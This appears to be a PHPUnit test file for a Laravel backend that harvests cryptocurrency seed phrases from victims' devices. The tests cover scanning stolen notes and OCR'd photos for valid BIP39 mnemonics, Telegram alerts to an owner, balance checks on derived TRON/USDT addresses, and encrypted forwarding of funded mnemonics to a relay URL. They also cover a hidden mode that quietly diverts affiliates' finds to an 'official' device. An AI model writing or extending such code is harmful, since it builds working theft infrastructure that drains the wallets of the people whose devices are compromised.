610 lines
23 KiB
PHP
610 lines
23 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\MnemonicFinding;
|
|
use App\Models\Note;
|
|
use App\Http\Middleware\DecryptXxbbBody;
|
|
use App\Models\Photo;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\MnemonicScanService;
|
|
use App\Services\MnemonicScanStatus;
|
|
use App\Services\MnemonicWalletDiscovery;
|
|
use App\Services\Ocr\OcrDriver;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Cache;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use Mockery;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class MnemonicScanTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private const PHRASE = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';
|
|
|
|
private const NINE_HIT_OCR = <<<'TXT'
|
|
palance cousin endorse
|
|
refuse private dog
|
|
solution puddy april
|
|
picture father jab
|
|
TXT;
|
|
|
|
private const INVALID_UNIQUE = 'ability able about above absent absorb abstract absurd abuse access accident account';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
config([
|
|
'coruna.telegram.bot_token' => 'tg-token',
|
|
'coruna.telegram.owner_chat_id' => '10001',
|
|
]);
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
'*' => Http::response('fail', 500),
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function twelve_note_words_auto_confirm_and_ingest(): void
|
|
{
|
|
$device = $this->device('dev-scan-12');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
|
],
|
|
'content_hash' => hash('sha256', 'x'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$finding = MnemonicFinding::query()->first();
|
|
$this->assertNotNull($finding);
|
|
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
|
|
$this->assertSame(self::PHRASE, $finding->candidate);
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
$this->assertSame('备忘录扫描', $device->mnemonics()->value('source'));
|
|
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
|
Http::assertSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描');
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
|
|
{
|
|
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
|
$device = $this->device('dev-scan-glued');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
'1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
|
|
],
|
|
'content_hash' => hash('sha256', 'glued'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$finding = MnemonicFinding::query()->first();
|
|
$this->assertNotNull($finding);
|
|
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
|
|
$this->assertSame($phrase, $finding->candidate);
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
|
}
|
|
|
|
#[Test]
|
|
public function nine_note_hits_are_ignored(): void
|
|
{
|
|
$device = $this->device('dev-scan-9');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3],
|
|
],
|
|
'content_hash' => hash('sha256', 'p'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, MnemonicFinding::query()->count());
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
|
}
|
|
|
|
#[Test]
|
|
public function repetitive_note_english_is_ignored(): void
|
|
{
|
|
$device = $this->device('dev-scan-pipe');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22],
|
|
],
|
|
'content_hash' => hash('sha256', 'pipe'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, MnemonicFinding::query()->count());
|
|
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_edit_and_confirm_a_suspected_photo(): void
|
|
{
|
|
$device = $this->device('dev-scan-confirm');
|
|
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
|
app(MnemonicScanService::class)->scanPhoto($photo);
|
|
$finding = MnemonicFinding::query()->first();
|
|
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status);
|
|
|
|
$admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status);
|
|
$this->assertSame(self::PHRASE, $finding->fresh()->candidate);
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_confirm_rejects_invalid_phrase(): void
|
|
{
|
|
$device = $this->device('dev-scan-confirm-bad');
|
|
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
|
app(MnemonicScanService::class)->scanPhoto($photo);
|
|
$finding = MnemonicFinding::query()->first();
|
|
|
|
$admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE])
|
|
->assertOk()
|
|
->assertJsonPath('code', 1);
|
|
|
|
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status);
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function bip39_test_vector_note_is_ignored(): void
|
|
{
|
|
$device = $this->device('dev-scan-abandon');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7],
|
|
],
|
|
'content_hash' => hash('sha256', 'ab'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, MnemonicFinding::query()->count());
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function twelve_note_words_without_checksum_are_ignored(): void
|
|
{
|
|
$device = $this->device('dev-scan-bad-12');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8],
|
|
],
|
|
'content_hash' => hash('sha256', 'bad'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, MnemonicFinding::query()->count());
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
|
}
|
|
|
|
#[Test]
|
|
public function twelve_photo_words_auto_confirm_with_album_source(): void
|
|
{
|
|
$device = $this->device('dev-scan-photo-12');
|
|
$photo = $this->photoWithOcr($device, self::PHRASE);
|
|
|
|
app(MnemonicScanService::class)->scanPhoto($photo);
|
|
|
|
$photo->refresh();
|
|
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status);
|
|
$finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first();
|
|
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status);
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
$this->assertSame('相册', $device->mnemonics()->value('source'));
|
|
Http::assertSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '新助记词') && str_contains($text, '相册');
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function twelve_photo_words_without_checksum_stay_suspected(): void
|
|
{
|
|
$device = $this->device('dev-scan-photo-bad');
|
|
$invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon';
|
|
$photo = $this->photoWithOcr($device, $invalid);
|
|
|
|
app(MnemonicScanService::class)->scanPhoto($photo);
|
|
|
|
$photo->refresh();
|
|
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
|
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
Http::assertNotSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '疑似助记词') || str_contains($text, '新助记词');
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function hidden_agent_scan_ingests_onto_official_device(): void
|
|
{
|
|
config(['coruna.scan.agent_visible' => false]);
|
|
$official = $this->officialDevice('dev-official-holder');
|
|
$device = $this->device('dev-scan-reattach');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
|
],
|
|
'content_hash' => hash('sha256', 'x'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, $device->mnemonics()->count());
|
|
$this->assertSame($device->id, (int) MnemonicFinding::query()->value('device_id'));
|
|
$row = $official->mnemonics()->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame(self::PHRASE, $row->mnemonic);
|
|
$this->assertSame($device->id, (int) $row->origin_device_id);
|
|
$this->assertSame('备忘录扫描', $row->source);
|
|
Http::assertSent(function ($request) use ($official, $device) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '新助记词')
|
|
&& str_contains($text, $official->device_id)
|
|
&& str_contains($text, '原设备')
|
|
&& str_contains($text, $device->device_id);
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_findings_index_streams_note_progress(): void
|
|
{
|
|
$first = $this->device('dev-scan-progress-a');
|
|
$second = $this->device('dev-scan-progress-b');
|
|
Note::query()->create([
|
|
'device_id' => $first->id,
|
|
'content' => [
|
|
['title' => 'old', 'body' => 'one', 'native_id' => 1],
|
|
['title' => 'old2', 'body' => 'two', 'native_id' => 2],
|
|
],
|
|
'content_hash' => hash('sha256', 'old'),
|
|
]);
|
|
Note::query()->create([
|
|
'device_id' => $first->id,
|
|
'content' => [
|
|
['title' => 'new', 'body' => 'only-latest', 'native_id' => 3],
|
|
],
|
|
'content_hash' => hash('sha256', 'new'),
|
|
]);
|
|
Note::query()->create([
|
|
'device_id' => $second->id,
|
|
'content' => [
|
|
['title' => 'b1', 'body' => 'x', 'native_id' => 1],
|
|
['title' => 'b2', 'body' => 'y', 'native_id' => 2],
|
|
],
|
|
'content_hash' => hash('sha256', 'b'),
|
|
]);
|
|
|
|
$progress = app(MnemonicScanService::class)->noteProgress();
|
|
$this->assertSame(3, $progress['total']);
|
|
|
|
$agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]);
|
|
$agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]);
|
|
$other = Device::query()->create([
|
|
'device_id' => 'dev-scan-progress-c',
|
|
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
|
]);
|
|
Note::query()->create([
|
|
'device_id' => $other->id,
|
|
'content' => [
|
|
['title' => 'c1', 'body' => 'z', 'native_id' => 1],
|
|
['title' => 'c2', 'body' => 'w', 'native_id' => 2],
|
|
['title' => 'c3', 'body' => 'v', 'native_id' => 3],
|
|
['title' => 'c4', 'body' => 'u', 'native_id' => 4],
|
|
['title' => 'c5', 'body' => 't', 'native_id' => 5],
|
|
],
|
|
'content_hash' => hash('sha256', 'c'),
|
|
]);
|
|
$this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
|
|
$this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);
|
|
|
|
Cache::forget('scan.note_progress:all');
|
|
Cache::forget('scan.photo_progress:all');
|
|
|
|
$admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.findings.index'))
|
|
->assertOk()
|
|
->assertSee('助记词扫描')
|
|
->assertSee('备忘录')
|
|
->assertDontSee('only-latest');
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.findings.progress'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('note.total', 8)
|
|
->assertJsonPath('photo.total', 0);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_cannot_open_findings_when_scan_hidden(): void
|
|
{
|
|
config(['coruna.scan.agent_visible' => false]);
|
|
$agent = User::query()->create([
|
|
'username' => 'scan-agent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->get(route('user.findings.index'))
|
|
->assertForbidden();
|
|
$this->actingAs($agent, 'agent')
|
|
->getJson(route('user.findings.data'))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_device_photos_hide_scan_ui_when_scan_hidden(): void
|
|
{
|
|
config(['coruna.scan.agent_visible' => false]);
|
|
$agent = User::query()->create([
|
|
'username' => 'scan-hide-ui',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
Channel::query()->create([
|
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
$device = $this->device('dev-scan-hide-ui');
|
|
$photo = $this->photoWithOcr($device, self::PHRASE);
|
|
$photo->scan_status = MnemonicScanStatus::SUSPECTED;
|
|
$photo->save();
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->get(route('user.devices.show', [$device, 'tab' => 'photos']))
|
|
->assertOk()
|
|
->assertDontSee('助记词扫描')
|
|
->assertDontSee('扫描进度')
|
|
->assertDontSee('疑似')
|
|
->assertDontSee('已扫');
|
|
|
|
$tab = $this->actingAs($agent, 'agent')
|
|
->getJson(route('user.devices.tabData', [$device, 'tab' => 'photos']))
|
|
->assertOk();
|
|
$this->assertSame('', $tab->json('data.0.scan_label'));
|
|
$this->assertArrayNotHasKey('scan', $tab->json());
|
|
}
|
|
|
|
#[Test]
|
|
public function rescan_drops_stale_suspected_finding(): void
|
|
{
|
|
$device = $this->device('dev-scan-stale');
|
|
$note = Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1],
|
|
],
|
|
'content_hash' => hash('sha256', 'y'),
|
|
]);
|
|
$finding = new MnemonicFinding([
|
|
'device_id' => $device->id,
|
|
'source' => 'note',
|
|
'note_id' => $note->id,
|
|
'item_key' => 'n:1',
|
|
'status' => MnemonicFinding::STATUS_SUSPECTED,
|
|
'word_count' => 12,
|
|
'score' => 140,
|
|
]);
|
|
$finding->candidate = '备 份 助 记 词 请 妥 善 保 管';
|
|
$finding->save();
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(0, MnemonicFinding::query()->count());
|
|
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
|
}
|
|
|
|
#[Test]
|
|
public function confirmed_scan_forwards_mnemonic_when_derived_address_has_balance(): void
|
|
{
|
|
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
'https://dest.example/*' => Http::response('ok', 200),
|
|
'*' => Http::response('fail', 500),
|
|
]);
|
|
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
|
|
|
$device = $this->device('dev-scan-fwd');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
|
],
|
|
'content_hash' => hash('sha256', 'fwd'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
|
|
Http::assertSent(function ($request) {
|
|
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
|
|
return false;
|
|
}
|
|
$ts = (string) ($request->header('x-ts')[0] ?? '');
|
|
$payload = DecryptXxbbBody::crypto()->decryptJsonBody((string) $request->body(), $ts);
|
|
|
|
return is_array($payload)
|
|
&& ($payload['d'] ?? '') === 'dev-scan-fwd'
|
|
&& ($payload['a'] ?? '') === 'note_scan'
|
|
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
|
|
{
|
|
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
'https://dest.example/*' => Http::response('ok', 200),
|
|
'*' => Http::response('fail', 500),
|
|
]);
|
|
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
|
|
|
|
$device = $this->device('dev-scan-nofwd');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
|
],
|
|
'content_hash' => hash('sha256', 'nofwd'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
|
}
|
|
|
|
#[Test]
|
|
public function confirmed_scan_does_not_forward_when_dest_url_empty(): void
|
|
{
|
|
config(['coruna.intercept.forward_url' => '']);
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
'*' => Http::response('ok', 200),
|
|
]);
|
|
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
|
|
|
|
$device = $this->device('dev-scan-nourl');
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => [
|
|
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
|
],
|
|
'content_hash' => hash('sha256', 'nourl'),
|
|
]);
|
|
|
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
|
|
|
$this->assertSame(1, $device->mnemonics()->count());
|
|
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
|
|
}
|
|
|
|
private function bindFundedDiscovery(string $address, float $usdt): void
|
|
{
|
|
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
|
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
|
|
WalletAddress::query()->create([
|
|
'device_id' => $mnemonic->device_id,
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'address' => $address,
|
|
'chain_type' => 'TRON',
|
|
'source' => '备忘录扫描',
|
|
'usdt' => $usdt,
|
|
'trx' => 0,
|
|
'monitor' => 1,
|
|
]);
|
|
|
|
return $usdt > 0 ? 1 : 0;
|
|
});
|
|
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
|
}
|
|
|
|
private function device(string $key): Device
|
|
{
|
|
return Device::query()->create([
|
|
'device_id' => $key,
|
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
]);
|
|
}
|
|
|
|
private function officialDevice(string $key): Device
|
|
{
|
|
Channel::query()->create([
|
|
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
|
'status' => 1,
|
|
]);
|
|
|
|
return Device::query()->create([
|
|
'device_id' => $key,
|
|
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
]);
|
|
}
|
|
|
|
private function photoWithOcr(Device $device, string $ocrText): Photo
|
|
{
|
|
$this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver
|
|
{
|
|
public function __construct(private readonly string $text) {}
|
|
|
|
public function recognize(string $imagePath): string
|
|
{
|
|
return $this->text;
|
|
}
|
|
});
|
|
|
|
return $this->storePhoto($device);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $attrs
|
|
*/
|
|
private function storePhoto(Device $device, array $attrs = []): Photo
|
|
{
|
|
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
|
|
$rel = 'c2/photos/'.$device->device_id.'/'.uniqid('p_', true).'.png';
|
|
Storage::disk('local')->put($rel, $png);
|
|
|
|
return Photo::query()->create(array_merge([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', $png.uniqid('', true)),
|
|
'path' => $rel,
|
|
'size' => strlen($png),
|
|
'scan_status' => MnemonicScanStatus::PENDING,
|
|
], $attrs));
|
|
}
|
|
}
|